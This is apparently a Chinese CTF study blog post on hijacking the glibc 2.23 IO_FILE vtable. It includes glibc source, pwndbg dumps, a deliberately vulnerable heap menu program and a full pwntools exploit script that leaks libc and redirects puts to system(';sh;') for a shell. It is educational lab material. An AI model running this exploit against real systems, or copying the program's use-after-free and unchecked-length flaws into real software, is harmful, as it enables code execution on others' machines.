【我的 PWN 学习手札】IO_FILE 之 劫持vtable
vtable帮助C实现了类似于多态的效果,然而其中的大量函数指针,一旦被劫持修改,就会产生巨大的危害。
前言
【我的 PWN 学习手札】IO_FILE相关几个基本函数的调用链源码-CSDN博客
【我的 PWN 学习手札】IO_FILE 之 stdin任意地址写-CSDN博客
【我的 PWN 学习手札】IO_FILE 之 stdout任意地址读-CSDN博客
经过上述对IO_FILE结构体的初步探究,相信读者也关注到了结构体中的vtable成员,指向了一个函数表,完成对结构体数据的具体操作。
一、回顾IO_FILE结构体
这里以_IO_2_1_stdout_结构体为例。
下面是某程序运行时,_IO_2_1_stdout_结构体的值(glibc-2.23)
pwndbg> p _IO_2_1_stdout_
$1 = {
file = {
_flags = -72537977, (0xfbad2887)
_IO_read_ptr = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7ffff7b9c6a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7b9b8e0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7ffff7b9d780 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ffff7b9b7a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7b9a6e0 <__GI__IO_file_jumps>
}
可以看到_IO_2_1_stdout_.vtable指向了__GI_IO_file_jumps
让我们结合glibc源码来进行分析:
//libioP.h
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
// libio.h
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
#ifndef _LIBC
#define _IO_stdin ((_IO_FILE*)(&_IO_2_1_stdin_))
#define _IO_stdout ((_IO_FILE*)(&_IO_2_1_stdout_))
#define _IO_stderr ((_IO_FILE*)(&_IO_2_1_stderr_))
#else
extern _IO_FILE *_IO_stdin attribute_hidden;
extern _IO_FILE *_IO_stdout attribute_hidden;
extern _IO_FILE *_IO_stderr attribute_hidden;
#endif
作为stdfile,stderr、stdin、stdout是经过初始化的全局变量:
#ifdef _IO_MTSAFE_IO
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
static _IO_lock_t _IO_stdfile_##FD##_lock = _IO_lock_initializer; \
static struct _IO_wide_data _IO_wide_data_##FD \
= { ._wide_vtable = &_IO_wfile_jumps }; \
struct _IO_FILE_plus NAME \
= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \
&_IO_file_jumps};
# else
# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
static _IO_lock_t _IO_stdfile_##FD##_lock = _IO_lock_initializer; \
struct _IO_FILE_plus NAME \
= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, NULL), \
&_IO_file_jumps};
# endif
#else
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
static struct _IO_wide_data _IO_wide_data_##FD \
= { ._wide_vtable = &_IO_wfile_jumps }; \
struct _IO_FILE_plus NAME \
= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \
&_IO_file_jumps};
# else
# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
struct _IO_FILE_plus NAME \
= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, NULL), \
&_IO_file_jumps};
# endif
#endif
DEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);
DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);
DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);
可以看到,vtable指向了_IO_file_jumps
// fileops.c
const struct _IO_jump_t _IO_file_jumps =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)};
libc_hidden_data_def(_IO_file_jumps)
有许多函数指针
以puts为例,最终将调用_IO_file_xsputn,且调用该函数时的第一个参数为_IO_2_1_stdout_
二、利用演示
这里我们承接【我的 PWN 学习手札】IO_FILE 之 stdout任意地址读-CSDN博客的演示例程,继续利用。
前情提要:已经通过House of Roman将堆块申请到_IO_2_1_stdout_结构体上,并通过修改结构体指针leak出libc
接下来我们将vtable指向可控区域,并作如下设置:
payload=p64(libc.sym['system'])*6
payload+=b'\x00'*3 #*0x33)
payload+=p32(0xfbad1880)+b';sh;'
payload+=p64(0)*16
payload+=p64(libc.address+0x39d780)
payload+=b'\x00'*0x48
payload+=p64(libc.address+0x39c5dd)
edit(10,payload)
其效果是:
pwndbg> p/x _IO_2_1_stdout_
$4 = {
file = {
_flags = 0xfbad1880,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = {0x0},
_lock = 0x7ffff7b9d780,
_offset = 0x0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7ffff7b9c5dd
}
pwndbg> p/x &_IO_2_1_stdout_
$5 = 0x7ffff7b9c620
pwndbg> x/10gx 0x7ffff7b9c620-0x20
0x7ffff7b9c600 <_IO_2_1_stderr_+192>: 0x83f56000007ffff7 0x83f56000007ffff7
0x7ffff7b9c610 <_IO_2_1_stderr_+208>: 0x83f56000007ffff7 0x00000000007ffff7
0x7ffff7b9c620 <_IO_2_1_stdout_>: 0x3b68733bfbad1880 0x0000000000000000
0x7ffff7b9c630 <_IO_2_1_stdout_+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7b9c640 <_IO_2_1_stdout_+32>: 0x0000000000000000 0x0000000000000000
其中vtable:
pwndbg> tele 0x7ffff7b9c5dd
00:0000│ 0x7ffff7b9c5dd (_IO_2_1_stderr_+157) ◂— 0xfff7b9b660000000
01:0008│ 0x7ffff7b9c5e5 (_IO_2_1_stderr_+165) ◂— 0x7f
02:0010│ rsi 0x7ffff7b9c5ed (_IO_2_1_stderr_+173) —▸ 0x7ffff783f560 (system) ◂— test rdi, rdi
... ↓ 5 skipped
pwndbg>
08:0040│ 0x7ffff7b9c61d (_IO_2_1_stderr_+221) ◂— 0x3bfbad1880000000
09:0048│ 0x7ffff7b9c625 (_IO_2_1_stdout_+5) ◂— 0x3b6873 /* 'sh;' */
0a:0050│ 0x7ffff7b9c62d (_IO_2_1_stdout_+13) ◂— 0
... ↓ 5 skipped
简单来说,我们将vtable指向可控内存addr,虚函数表偏移0x38对应_IO_file_xsputn函数指针。我们将addr+0x38设置为system函数的地址。可以预料,当进行puts通过vtable索引、调用_IO_file_xsputn函数时,实际上调用了system函数,参数为&_IO_2_1_stdout_。
由于_IO_2_1_stdout_开头是4字节的魔术数据,因此我们在其后布置";sh;"。
因此构成了:system("□□□□;sh;")
(一)pwn.c
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
char *chunk_list[0x100];
void menu() {
puts("1. add chunk");
puts("2. delete chunk");
puts("3. edit chunk");
puts("4. show chunk");
puts("5. exit");
puts("choice:");
}
int get_num() {
char buf[0x10];
read(0, buf, sizeof(buf));
return atoi(buf);
}
void add_chunk() {
puts("index:");
int index = get_num();
puts("size:");
int size = get_num();
chunk_list[index] = malloc(size);
}
void delete_chunk() {
puts("index:");
int index = get_num();
free(chunk_list[index]);
}
void edit_chunk() {
puts("index:");
int index = get_num();
puts("length:");
int length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void show_chunk() {
puts("index:");
int index = get_num();
puts(chunk_list[index]);
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
while (1) {
menu();
switch (get_num()) {
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
}
}
}
(二)exp.py
# 用了house of roman,但是懒得写循环了
# 先关闭aslr,再用下述代码打通
from pwn import *
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context(arch=elf.arch,log_level='debug')
def add(index, size):
io.sendafter(b"choice:", b"1")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"size:", str(size).encode())
def delete(index):
io.sendafter(b"choice:", b"2")
io.sendafter(b"index:", str(index).encode())
def edit(index, content):
io.sendafter(b"choice:", b"3")
io.sendafter(b"index:", str(index).encode())
io.sendafter(b"length:", str(len(content)).encode())
io.sendafter(b"content:", content)
def show(index):
io.sendafter(b"choice:", b"4")
io.sendafter(b"index:", str(index).encode())
io=process("./pwn")
add(0,0x68)
add(1,0x98)
add(2,0x68)
delete(1)
add(3,0x28)
add(1,0x68)
edit(1,p16(0xc5dd))
delete(0)
delete(2)
edit(2,b'\xa0')
add(10,0x68)
add(10,0x68)
add(10,0x68)
# gdb.attach(io,'b read\nc')
payload=b'\x00'*0x33
payload+=p64(0xfbad1800)
payload+=p64(0)*3
payload+=b'\x00'
edit(10,payload)
io.recvn(0x41)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39c600
success(hex(libc.address))
payload=p64(libc.sym['system'])*6
payload+=b'\x00'*3 #*0x33)
payload+=p32(0xfbad1880)+b';sh;'
payload+=p64(0)*16
payload+=p64(libc.address+0x39d780)
payload+=b'\x00'*0x48
# payload+=p64(0xdeadbeef)
payload+=p64(libc.address+0x39c5dd)
edit(10,payload)
io.interactive()